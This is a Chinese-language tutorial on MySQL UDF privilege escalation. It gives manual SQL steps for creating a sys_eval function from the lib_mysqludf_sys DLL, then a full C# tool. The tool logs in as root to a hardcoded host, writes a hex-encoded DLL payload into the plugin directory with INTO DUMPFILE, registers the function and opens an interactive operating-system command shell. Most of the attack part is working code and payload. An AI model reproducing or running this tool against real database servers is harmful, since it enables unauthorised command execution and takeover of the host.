1.1 udf手工提权

当 secure_file_priv 的值为 NULL ，表示限制 mysql 不允许导入|导出，此时无法提权
当 secure_file_priv 的值为 /tmp/ ，表示限制 mysql 的导入|导出只能发生在 /tmp/ 目录下，此
时也无法提权
当 secure_file_priv 的值没有具体值时，表示不对 mysql 的导入|导出做限制，此时可提权

查询secure_file_priv

show variables like '%secure%';

修改如下文件再重启mysql即可。

my.ini
mysqld下面添加
secure_file_priv=""

查看plugin目录

show variables like 'plugin%';

上传dll

create function sys_eval returns string soname 'lib_mysqludf_sys_64.dll';

查询函数

select * from mysql.func where name = 'sys_eval';

执行命令

select sys_eval('whoami');

删除函数

drop function sys_eval;

1.2 udf自动化

先导入dll

using MySql.Data.MySqlClient;

首先是连接mysql并且执行MySQL语句

public static List<string> runsql(string sql,string count1,string count2)
{
    List<string> results = new List<string>();
    MySqlConnection mysqlConnection = new MySqlConnection(connection);
    mysqlConnection.Open();
    MySqlCommand mysqlCommand = new MySqlCommand(sql, mysqlConnection);
    MySqlDataReader mysqlDataReader = mysqlCommand.ExecuteReader();
    while (mysqlDataReader.Read())
    {
        string result = mysqlDataReader.GetString(count1) + ":" + mysqlDataReader.GetString(count2);
        results.Add(result);
    }
    return results;
}

调用MySqlConnection类生成连接配置，再调用Open()方法进行连接，使用MySqlCommand类初始化sql语句，再使用ExecuteReader()方法执行并且保存结果。读取内容的话字符串就调用GetString方法。里面的count1参数就是列名。因为查询多条语句结果要用委托，于是干脆写成函数重复调用。这里没有太去查资料如何解决读取某行内容于是就用传参方式解决了，懒得查资料。

结果全部存储在一个字符串列表里面。

这里配置文件

public static string host = "192.168.3.16";
public static string db = "mysql";
public static string username = "root";
public static string password = "root";
public static string connection = "Server="+host+";Database="+db+";User="+username+";Password="+password+";";

接上了首先判断secure_file_priv。

int flag = 0;
Console.WriteLine("[*]check secure_file_priv");
List<string> result_secure = runsql("show variables like '%secure%'", "Variable_name", "Value");
foreach(string result in result_secure)
{
    if (!result.Contains("NULL"))
    {
        flag = 1;
    }
    Console.WriteLine(result);
}

例如执行show variables like '%secure%'。

需要查询的列名就为Variable_name和Value。所以就传参数到runsql方法里面去获取。如果结果不包含NULL的话flag值设置为1，输出结果。

如果不包含NULL则值为1如果为1则继续执行。

Console.WriteLine("[*]check plugin path");
List<string> result_plugin = runsql1("show variables like 'plugin%'","Value");
string plugin_path = result_plugin[0];
Console.WriteLine("plugin path:"+plugin_path);
Console.Write("input version(1.linux_x86 2.linux_x64 3.win_x86 4.win_x64):");
string pc_version = Console.ReadLine();

这里继续写runsql1方法，如果觉得麻烦可以去查阅下函数如何获取一行。我是为了取巧了哈哈哈。

public static List<string> runsql1(string sql, string count1)
{
    List<string> results = new List<string>();
    MySqlConnection mysqlConnection = new MySqlConnection(connection);
    mysqlConnection.Open();
    MySqlCommand mysqlCommand = new MySqlCommand(sql, mysqlConnection);
    MySqlDataReader mysqlDataReader = mysqlCommand.ExecuteReader();
    while (mysqlDataReader.Read())
    {
        string result = mysqlDataReader.GetString(count1);
        results.Add(result);
    }
    return results;
}

这里就一个参数获取一个值-路径。

然后就是需要使用into dumpfile去把dll写进去，因为不同系统不同位数写入的内容不一样，所以自行手动判断。

这里就写一种其他同理。

if(pc_version == "4")
                {
                    runsql2("drop function sys_eval");
                    plugin_path = plugin_path.Replace("\\", "/");
                    plugin_path = plugin_path + "/";
                    string dllName = Guid.NewGuid().ToString() + ".dll";
                    runsql2("SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000677cbfda231dd189231dd189231dd18904dbbf89211dd18904dbbc892a1dd18904dbaa89261dd189231dd0890f1dd18904dbac89211dd18904dba089221dd18904dbab89221dd18904dba989221dd18952696368231dd189000000000000000000000000000000005045000064860300a727a15a0000000000000000f00022200b020800002000000010000000800000109f000000900000000000100000000000100000000200000400000000000000050002000000000000c000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098b2000008020000b0b10000e800000000b00000b00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000e0555058310000000000200000009000000012000000040000000000000000000000000000400000e02e727372630000000010000000b000000006000000160000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d240209e1e421439d3bdfb7de7400000f0f0000002a0000490000d41de9feff833a007450488b05a421000049890009a24008cd4973d20a9f109c1899cd9f34272096280fb70593666d83fdb7410b30b001c332c0c3cc00c215cc92c9ba810034716a6febcc16e46c096a471853fdbf1fa4631c0fb605591688401e41c7011e00ffed6dd62b8b63bf01750f3f42088338007506c64b26ebdc01017b4e2d632b05b9e4b228ce25227ed20cd26f1f28152ab001c3f66d7bc2bf83ec38344a43895c243084b7fff6dbd90b09ff15c71f2b4885c04c8bd87512104c24df6eaeb9608707202dc4388e897c242873edcdfd33c048c7c1ff0033fbf2ae1c120976d9b75b1af7d122e901890b2dcc00be6feb166f28e3026e404848deda7fdb29f938d87459488d0d40ee4e0e813832983de4c1eb81403281480a9ee4435e4f81503281543281563261f37d4fb0018c48804028c34c49467607744e61deed584917e49260680a703c6527cd18782056c740045cf8bf33b64342188b48048b008d4c010239bd1e77d27d8bd947107543706d8045ec1be936130309884370900a00b69dee10c8980a18bc0cb3c6b00e07103fbcb37ddb0f49a585c974066f5d17b7086d21cf93cf047424ada3b9772d7110448b6949e2fa02c2eddfba52e2ce0212498d5c3001e83f0ffce85cd7fddd5febcb418b03c60430d2470d5734b70c58d7e22d0822d34313167bb75bce2618007ca01cff56677c84842f7198f4cf16c64373870d087c8c03d6e4240f79561e541e511e7292939c4e1e4b1e481e63c2425e3e1e1fcf2784ee87c71f1da0981f4c89c68685ee44241824580f6c59897486bb86db76381764bdb900d34c18284cb0db7e302d4d8bf146e8e7b901ee9b6dc1ec04e00dda4533ed4488670beef69b4ff04c39290f8413050673f215fdcfb8b9169125ac1c088be8747b418d5508e1c9b6b13ac0e6cc177c7466a04b6640fa50669047fc3f42858e1b0b9529328d7936ce6f7d61c16c304375cd8cc74803c8f56636b724d470143e51c5ba08e1d9b68d39cc1ceb13225975ad886cdbb6f050eb258bc77004cd1930ddfe9cdb803e30e2154874229245ffb176d8827811fef5887edd4d174ebe5a0eebc18424805ec606e71ada0001380c4c38f12a10f8386c04c6f0a0581a87e792317fd3dc5cd8d6d09d58747a28f2023f73b773df3e448d48406e41b80010b3748bd1f10df7c7ed33c9ab441a5356104cefa2dbe6b66c02c8d8154e1b8d54b94c350aede98d054a75890ba3b16e3b2dbc3133d2c7d0208925183bdf19b7b3bad2c80df2199d30ac581e29eb081433c0922fb384f13be0064ceb0033c029001bb0dfb65538ec024510ff10c9196600fb6f7f6c900390483b0d89293f751148c1c11066f7dddd6fdfb87502f3dac1c910e9150aeccc405361203b8b7d1b5801a05fdcd25b0bfbeef7f685dbc905112fd005020675098d430185bb76efb6205b42c703d59b0d3c48b406634136670b1c5805b12006615bd85bc3cf55d27f6cc7c7c376fc608468e140dcfbf1c2c63831e83be141bdd20f8503ee46bb7408075ee428073c0f8e0d8de6b61b6e2bc58ed3105fdcfd3e76fb0fb12d602e0a741ef290b9e803c91d19bfdb36931d4275e841320783f802740fb9ef6dc3b31fb70eca0208e2ed0d2f2e338e740fd2111912f874491412fc18dadc0b1fd958f847df72165f1803b6bb2d701e4ad0c9eb081573ed12ecf6bedbcf2774192d06429bd72d0698fbfb66d833db891db80e871db906716fc7feb59806e5413bd5dde26541042530bb7dbbbd002c0978081e8bf3f048b93d883072b0b7920a63c7741ad64618d7d29b2f1c6b75e3eb037bf5a79a5ed6390c950cdaeb3fea1f9f7db7f08e8f080644892d312d1bc485c0678fed62771a15e5de0dd6181abe7fddbbeec7050725024585f67507b404bb833d14ddc96e73068b212a0b2d5c6f11dedd264fe3029cf12c66012d3a273e9e9ebe10c58f38d240e468ec98717a60dce91748c3b14d22190f6c20483a5adbf308505851f0dd05bbee77df3d041f208915d12695d275133915d709ed7f38c3750b5a17c61e83fa017405040add6be00275338931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INTO DUMPFILE '"+ plugin_path+ dllName+ "'");
                    runsql2("create function sys_eval returns string soname '" + dllName + "'");
                    List<string> result_sys_eval = runsql("select * from mysql.func where name = 'sys_eval'", "name", "dl");
                    foreach (string str in result_sys_eval)
                    {
                        Console.WriteLine(str);
                    }
                    if (result_sys_eval.Count == 2)
                    {
                        Console.WriteLine("[+]sys_eval create success");
                    }
                    Console.WriteLine("1.exec");
                    Console.WriteLine("2.delete sys_eval");
                    Console.WriteLine("3.exit");
                    Console.Write("your input:");
                    string choose = Console.ReadLine();
                    while (true)
                    {
                        if (choose == "3")
                        {
                            break;
                        }
                        if (choose == "2")
                        {
                            runsql2("drop function sys_eval");
                            Console.WriteLine("drop success");
                            break;
                        }
                        if (choose == "1")
                        {
                            while (true)
                            {
                                Console.Write(">>");
                                string cmd = Console.ReadLine();
                                runcmd("select sys_eval('" + cmd + "')", cmd);
                                if (cmd == "exit")
                                {
                                    break;
                                }
                            }
                            break;
                        }
                    }
                }

runsql2方法为执行不返回结果。

public static void runsql2(string sql)
{
    try
    {
        List<string> results = new List<string>();
        MySqlConnection mysqlConnection = new MySqlConnection(connection);
        mysqlConnection.Open();
        MySqlCommand mysqlCommand = new MySqlCommand(sql, mysqlConnection);
        mysqlCommand.ExecuteReader();
    }catch(Exception e)
    {
        Console.WriteLine("[-]"+e.Message);
        if (e.Message.Contains("193"))
        {
            Console.WriteLine("[*]you can try another version dll");
            Environment.Exit(1);
        }
        else if(e.Message.Contains("does not exist")) { }
        else
        {
            Environment.Exit(1);
        }
    }
}

如果出现193错误，目标为x64系统，可以用x86dll创建函数。因为懒得每次执行完又删除dll，又执行。于是就随机生成dll名字，因为dll名重复会报错。生成了dll就创建函数，然后查询函数并且输出。

Console.WriteLine("1.exec");
Console.WriteLine("2.delete sys_eval");
Console.WriteLine("3.exit");
Console.Write("your input:");
string choose = Console.ReadLine();
while (true)
{
    if (choose == "3")
    {
        break;
    }
    if (choose == "2")
    {
        runsql2("drop function sys_eval");
        Console.WriteLine("drop success");
        break;
    }
    if (choose == "1")
    {
        while (true)
        {
            Console.Write(">>");
            string cmd = Console.ReadLine();
            runcmd("select sys_eval('" + cmd + "')", cmd);
            if (cmd == "exit")
            {
                break;
            }
         }
         break;
     }
}

然后选择方法，使用3直接退出，2的话就说调用删除函数手工删除，1的话就进入命令执行终端，调用runcmd。

public static void runcmd(string sql,string cmd)
{
    try
    {
        MySqlConnection mysqlConnection = new MySqlConnection(connection);
        mysqlConnection.Open();
        MySqlCommand mysqlCommand = new MySqlCommand(sql, mysqlConnection);
        MySqlDataReader mysqlDataReader = mysqlCommand.ExecuteReader();
        while (mysqlDataReader.Read())
        {
            string result = mysqlDataReader.GetString("sys_eval('" + cmd + "')");
            Console.WriteLine(result);
        }
    }catch(Exception e)
    {

    }
}

linux没测试，代码较为简单，我就有问题发微信号，我去改~(懒得弄环境哈哈哈哈)。

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